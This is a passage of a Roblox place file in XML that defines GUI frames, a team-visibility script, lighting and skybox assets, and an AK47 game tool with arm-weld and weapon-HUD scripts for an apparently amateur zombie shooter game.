								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<token name="Font">2</token>
								<token name="FontSize">7</token>
								<bool name="MultiLine">false</bool>
								<string name="Name">Select</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">klik on da zambee type</string>
								<Color3 name="TextColor3">4294506744</Color3>
								<bool name="TextScaled">false</bool>
								<Color3 name="TextStrokeColor3">4278716424</Color3>
								<float name="TextStrokeTransparency">0</float>
								<float name="TextTransparency">0</float>
								<bool name="TextWrapped">false</bool>
								<token name="TextXAlignment">2</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3856">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Welcome</string>
						<UDim2 name="Position">
							<XS>0.200000003</XS>
							<XO>0</XO>
							<YS>0.100000001</YS>
							<YO>0</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextBox" referent="RBX3857">
						<Properties>
							<bool name="Active">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClearTextOnFocus">true</bool>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">9</token>
							<bool name="MultiLine">false</bool>
							<string name="Name">Welcome</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">attack da kfc!!111one!!1</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278716424</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX3858">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Team Script</string>
						<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent

if Player.TeamColor == game.Teams.Zombies.TeamColor then
script.Parent.Visible = true
else
script.Parent.Visible = false
end 

function vis()
&#9;if (game.Workspace.ZombieScript.Running.Value == 1) then
&#9;&#9;if Player.TeamColor == game.Teams.Zombies.TeamColor then
&#9;&#9;&#9;script.Parent.Visible = true
&#9;&#9;else
&#9;&#9;&#9;script.Parent.Visible = false
&#9;&#9;end
&#9;else
&#9;&#9;script.Parent.Visible = false
&#9;end
end
vis()
game.Workspace.ZombieScript.Running.Changed:connect(vis)</ProtectedString>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
	<Item class="SoundService" referent="RBX3859">
		<Properties>
			<token name="AmbientReverb">0</token>
			<float name="DistanceFactor">10</float>
			<float name="DopplerScale">1</float>
			<string name="Name">Soundscape</string>
			<float name="RolloffScale">1</float>
		</Properties>
	</Item>
	<Item class="CollectionService" referent="RBX3860">
		<Properties>
			<string name="Name">CollectionService</string>
		</Properties>
	</Item>
	<Item class="PhysicsService" referent="RBX3861">
		<Properties>
			<string name="Name">PhysicsService</string>
		</Properties>
	</Item>
	<Item class="BadgeService" referent="RBX3862">
		<Properties>
			<string name="Name">BadgeService</string>
		</Properties>
	</Item>
	<Item class="Geometry" referent="RBX3863">
		<Properties>
			<string name="Name">Geometry</string>
		</Properties>
	</Item>
	<Item class="RenderHooksService" referent="RBX3864">
		<Properties>
			<string name="Name">RenderHooksService</string>
		</Properties>
	</Item>
	<Item class="SocialService" referent="RBX3865">
		<Properties>
			<string name="Name">SocialService</string>
		</Properties>
	</Item>
	<Item class="GamePassService" referent="RBX3866">
		<Properties>
			<string name="Name">GamePassService</string>
		</Properties>
	</Item>
	<Item class="Debris" referent="RBX3867">
		<Properties>
			<int name="MaxItems">1000</int>
			<string name="Name">Debris</string>
		</Properties>
	</Item>
	<Item class="TimerService" referent="RBX3868">
		<Properties>
			<string name="Name">Instance</string>
		</Properties>
	</Item>
	<Item class="ScriptInformationProvider" referent="RBX3869">
		<Properties>
			<string name="Name">Instance</string>
		</Properties>
	</Item>
	<Item class="CookiesService" referent="RBX3870">
		<Properties>
			<string name="Name">CookiesService</string>
		</Properties>
	</Item>
	<Item class="TeleportService" referent="RBX3871">
		<Properties>
			<string name="Name">Teleport Service</string>
		</Properties>
	</Item>
	<Item class="Players" referent="RBX3872">
		<Properties>
			<bool name="CharacterAutoLoads">true</bool>
			<string name="Name">Players</string>
		</Properties>
	</Item>
	<Item class="FWService" referent="RBX3873">
		<Properties>
			<string name="Name">Instance</string>
		</Properties>
	</Item>
	<Item class="UserInputService" referent="RBX3874">
		<Properties>
			<string name="Name">Instance</string>
		</Properties>
	</Item>
	<Item class="ContextActionService" referent="RBX3875">
		<Properties>
			<string name="Name">ContextActionService</string>
		</Properties>
	</Item>
	<Item class="ScriptService" referent="RBX3876">
		<Properties>
			<string name="Name">Instance</string>
		</Properties>
	</Item>
	<Item class="Selection" referent="RBX3877">
		<Properties>
			<string name="Name">Selection</string>
		</Properties>
	</Item>
	<Item class="ChangeHistoryService" referent="RBX3878">
		<Properties>
			<string name="Name">ChangeHistoryService</string>
		</Properties>
	</Item>
	<Item class="Lighting" referent="RBX3879">
		<Properties>
			<Color3 name="Ambient">4280163870</Color3>
			<float name="Brightness">1</float>
			<Color3 name="ColorShift_Bottom">4278190080</Color3>
			<Color3 name="ColorShift_Top">4278190080</Color3>
			<Color3 name="FogColor">4290822336</Color3>
			<float name="FogEnd">100000</float>
			<float name="FogStart">0</float>
			<float name="GeographicLatitude">41.7332993</float>
			<bool name="GlobalShadows">true</bool>
			<string name="Name">Lighting</string>
			<Color3 name="OutdoorAmbient">4280821800</Color3>
			<Color3 name="ShadowColor">4289967032</Color3>
			<string name="TimeOfDay">05:00:00</string>
		</Properties>
		<Item class="Sky" referent="RBX3880">
			<Properties>
				<bool name="CelestialBodiesShown">true</bool>
				<string name="Name">Sky</string>
				<Content name="SkyboxBk"><url>http://www.roblox.com/asset?id=58372690</url></Content>
				<Content name="SkyboxDn"><url>http://www.roblox.com/asset?id=58372722</url></Content>
				<Content name="SkyboxFt"><url>http://www.roblox.com/asset?id=58372742</url></Content>
				<Content name="SkyboxLf"><url>http://www.roblox.com/asset?id=58372777</url></Content>
				<Content name="SkyboxRt"><url>http://www.roblox.com/asset?id=58372794</url></Content>
				<Content name="SkyboxUp"><url>http://www.roblox.com/asset?id=58372812</url></Content>
				<int name="StarCount">3000</int>
			</Properties>
		</Item>
		<Item class="Tool" referent="RBX3881">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>-0.100000001</Y>
					<Z>0.400000006</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">AK47</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079896</url></Content>
				<string name="ToolTip">AK47</string>
			</Properties>
			<Item class="Part" referent="RBX3882">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-20</X>
						<Y>-68.5999985</Y>
						<Z>10.9000006</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX3883">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=3824749</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.75</X>
							<Y>1.39999998</Y>
							<Z>1.10000002</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3884">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.09229565</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=97848313</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3885">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2691591</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3886">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX3887">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3888">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX3889">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX3890">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX3891">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX3892">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX3893">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3894">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3895">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3896">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX3897">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3898">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3899">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX3900">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3901">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3902">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3903">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX3904">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX3905">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">AK47</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 28
-- How many times per second the gun can fire
local FireRate = 1 / 8
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.01
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.08
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

